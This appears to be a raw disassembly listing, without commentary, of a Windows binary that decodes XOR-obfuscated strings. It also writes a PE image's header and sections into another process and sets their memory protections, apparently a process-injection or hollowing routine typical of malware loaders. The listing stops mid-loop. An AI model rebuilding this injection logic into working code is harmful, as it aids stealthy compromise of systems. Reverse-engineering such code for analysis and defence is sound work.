mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x850], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x27
jl 0x464670
lea eax, [ebp - 0x850]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0xf
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
lea eax, [ebp - 0x820]
mov dword [ebp - 0x820], 0
push eax
push dword [ebp - 0x8cc]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov esi, dword [ebp - 0x820]
cmp esi, 0x103
jne 0x466203
push 0
push 0x1c
lea eax, [ebp - 0x844]
mov dword [ebp - 0x82c], 0
push eax
push dword [ebp - 0x8d0]
xorps xmm0, xmm0
push dword [ebp - 0x8cc]
movups xmmword [ebp - 0x844], xmm0
movq qword [ebp - 0x834], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp - 0x838]
cmp esi, 0x404040
je 0x465fcf
cmp esi, 0x505050
jne 0x4649bf
movups xmm0, xmmword [0x4859a4]
mov eax, dword [0x4859c4]
xor edx, edx
cmp dword [0x4931b8], 2
movups xmmword [ebp - 0x8a4], xmm0
mov dword [ebp - 0x884], eax
movups xmm0, xmmword [0x4859b4]
mov dword [ebp - 0x87c], edx
movups xmmword [ebp - 0x894], xmm0
jl 0x464930
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x8a4]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x8a4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x8a0]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x8a0], xmm1
add edx, 8
cmp edx, 0x20
jl 0x464810
mov dword [ebp - 0x87c], edx
cmp edx, 0x24
jge 0x46496d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x8a4], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x24
jl 0x464930
lea eax, [ebp - 0x8a4]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0x12
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
push 0xa
call edi
test esi, esi
je 0x464710
push 0x1400000
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
mov dword [ebp - 0x820], esi
test esi, esi
jne 0x464c01
movups xmm0, xmmword [0x485a88]
mov ax, word [0x485aa0]
xor edx, edx
cmp dword [0x4931b8], 2
movups xmmword [ebp - 0x89c], xmm0
mov word [ebp - 0x884], ax
movq xmm0, qword [0x485a98]
mov al, byte [0x485aa2]
movq qword [ebp - 0x88c], xmm0
mov byte [ebp - 0x882], al
mov dword [ebp - 0x87c], edx
jl 0x464b90
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x89c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x89c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x898]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x898], xmm1
add edx, 8
cmp edx, 0x18
jl 0x464a70
mov dword [ebp - 0x87c], edx
cmp edx, 0x1b
jge 0x464bcd
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x89c], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x1b
jl 0x464b90
lea eax, [ebp - 0x89c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
mov dword [ebp - 4], 0x13
jmp 0x4663fd
push 0x1400000
push 0
push esi
call sub.VCRUNTIME140.dll_memset
mov edi, dword [ebp - 0x8cc]
add esp, 0xc
push 0
push 0x1000
push esi
push dword [ebp - 0x8c4]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x464e6f
movups xmm0, xmmword [0x485904]
mov eax, dword [0x48591c]
mov dword [ebp - 0x830], eax
mov ax, word [0x485920]
mov word [ebp - 0x82c], ax
movups xmmword [ebp - 0x848], xmm0
movq xmm0, qword [str.__6e]
movq qword [ebp - 0x838], xmm0
test ah, ah
je 0x464e1d
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x87c], edx
jl 0x464de0
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x848]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x848], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x844]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x844], xmm1
add edx, 8
cmp edx, 0x18
jl 0x464cc2
mov dword [ebp - 0x87c], edx
cmp edx, 0x1e
jge 0x464e1d
nop dword [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x848], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x1e
jl 0x464de0
lea eax, [ebp - 0x848]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0x14
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
mov ecx, dword [ebp - 0x8c8]
xor edx, edx
mov dword [ebp - 0x81c], edx
movzx eax, word [ecx + 0x14]
lea esi, [ecx + 0x18]
add esi, eax
movzx eax, word [ecx + 6]
mov ecx, eax
test ax, ax
je 0x4653f8
cmp dword [esi + 8], 0
je 0x4653d7
mov ecx, str..pdata
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x464ec6
test dl, dl
je 0x464ec2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x464ec6
add eax, 2
add ecx, 2
test dl, dl
jne 0x464ea6
xor eax, eax
jmp 0x464ecb
sbb eax, eax
or eax, 1
test eax, eax
je 0x464f33
mov ecx, str..rsrc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x464ef6
test dl, dl
je 0x464ef2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x464ef6
add eax, 2
add ecx, 2
test dl, dl
jne 0x464ed6
xor eax, eax
jmp 0x464efb
sbb eax, eax
or eax, 1
test eax, eax
je 0x464f33
mov ecx, str..reloc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x464f26
test dl, dl
je 0x464f22
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x464f26
add eax, 2
add ecx, 2
test dl, dl
jne 0x464f06
xor eax, eax
jmp 0x464f2b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4653d7
mov eax, dword [0x4858b0]
xor edx, edx
cmp dword [0x4931b8], 2
movups xmm0, xmmword [str._C_PQFEV]
mov dword [ebp - 0x888], eax
mov ax, word [0x4858b4]
mov word [ebp - 0x884], ax
mov al, byte [0x4858b6]
movups xmmword [ebp - 0x898], xmm0
mov byte [ebp - 0x882], al
mov dword [ebp - 0x87c], edx
jl 0x4650d0
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x898]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x898], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x894]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x894], xmm1
add edx, 8
cmp edx, 0x10
jl 0x464fb4
mov dword [ebp - 0x87c], edx
cmp edx, 0x17
jge 0x46510d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x898], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x17
jl 0x4650d0
push esi
lea eax, [ebp - 0x898]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0xc
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0x15
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x8c4]
push 0
push dword [esi + 8]
push dword [ebp - 0x820]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4653d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x485880]
mov ecx, dword [0x485898]
mov edi, eax
mov dword [ebp - 0x830], ecx
mov cx, word [0x48589c]
mov word [ebp - 0x82c], cx
movups xmmword [ebp - 0x848], xmm0
movq xmm0, qword [0x485890]
movq qword [ebp - 0x838], xmm0
test ch, ch
je 0x46537d
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x87c], edx
jl 0x465340
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x848]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x848], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x844]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x844], xmm1
add edx, 8
cmp edx, 0x18
jl 0x465220
mov dword [ebp - 0x87c], edx
cmp edx, 0x1e
jge 0x46537d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x848], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x1e
jl 0x465340
push edi
push esi
lea eax, [ebp - 0x848]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0x10
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0x16
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
mov edi, dword [ebp - 0x8cc]
mov eax, dword [ebp - 0x8c8]
add esi, 0x28
inc dword [ebp - 0x81c]
movzx eax, word [eax + 6]
mov ecx, eax
cmp dword [ebp - 0x81c], eax
jne 0x464e95
mov edx, dword [ebp - 0x8c8]
xor edi, edi
movzx eax, word [edx + 0x14]
lea esi, [edx + 0x18]
add esi, eax
test cx, cx
je 0x4658b6
mov edx, dword [esi + 8]
test edx, edx
je 0x4658a0
mov ecx, dword [esi + 0x24]
mov eax, 2
mov dword [ebp - 0x81c], 0
test ecx, 0x80000000
jbe 0x46543e
mov eax, 4
jmp 0x46544c
test ecx, 0x20000000
mov ecx, 0x20
cmova eax, ecx
lea ecx, [ebp - 0x81c]
push ecx
push eax
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x8c4]
push edx
push eax
push dword [ebp - 0x8cc]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor edx, edx
mov dword [ebp - 0x87c], edx
test eax, eax
je 0x465672
cmp dword [0x4931b8], 2
movups xmm0, xmmword [0x4857f0]
mov al, byte [0x485800]
mov byte [ebp - 0x884], al
movups xmmword [ebp - 0x894], xmm0
jl 0x465600
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x894]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x894], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x890]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x890], xmm1
add edx, 8
cmp edx, 0x10
jl 0x4654e0
mov dword [ebp - 0x87c], edx
cmp edx, 0x11
jge 0x46563d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x894], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x11
jl 0x465600
push esi
lea eax, [ebp - 0x894]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0xc
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
mov dword [ebp - 4], 0x17
jmp 0x46587d
cmp dword [0x4931b8], 2
movups xmm0, xmmword [0x485924]
mov ax, word [0x48593c]
mov word [ebp - 0x884], ax
mov al, byte [0x48593e]
movups xmmword [ebp - 0x89c], xmm0
mov byte [ebp - 0x882], al
movq xmm0, qword [0x485934]
movq qword [ebp - 0x88c], xmm0
jl 0x465810
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
xor edx, edx
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x89c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x89c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x898]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x898], xmm1
add edx, 8
cmp edx, 0x18
jl 0x4656f2
mov dword [ebp - 0x87c], edx
cmp edx, 0x1b
jge 0x46584d
nop dword [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x89c], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x1b
jl 0x465810
push esi
lea eax, [ebp - 0x89c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0xc
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
mov dword [ebp - 4], 0x18
lea eax, [ebp - 0x898]
mov ecx, 0x49032c
push eax
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
mov edx, dword [ebp - 0x8c8]
inc edi
add esi, 0x28
movzx eax, word [edx + 6]
cmp edi, eax
jne 0x465412
mov edi, dword [ebp - 0x8cc]
lea eax, [ebp - 0x828]
push eax
movzx eax, word [edx + 0x14]
push 2
mov dword [ebp - 0x828], 0
push dword [eax + edx + 0x24]
push dword [ebp - 0x8c4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [ebp - 0x880]
push 0
push 0x1000
push dword [ebp - 0x820]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x465b2f
movups xmm0, xmmword [0x485860]
movups xmmword [ebp - 0x848], xmm0
movups xmm0, xmmword [0x485870]
movups xmmword [ebp - 0x838], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x465add
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x81c], edx
jl 0x465aa0
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
xor ecx, ecx
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov edx, dword [ebp - 0x8c0]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
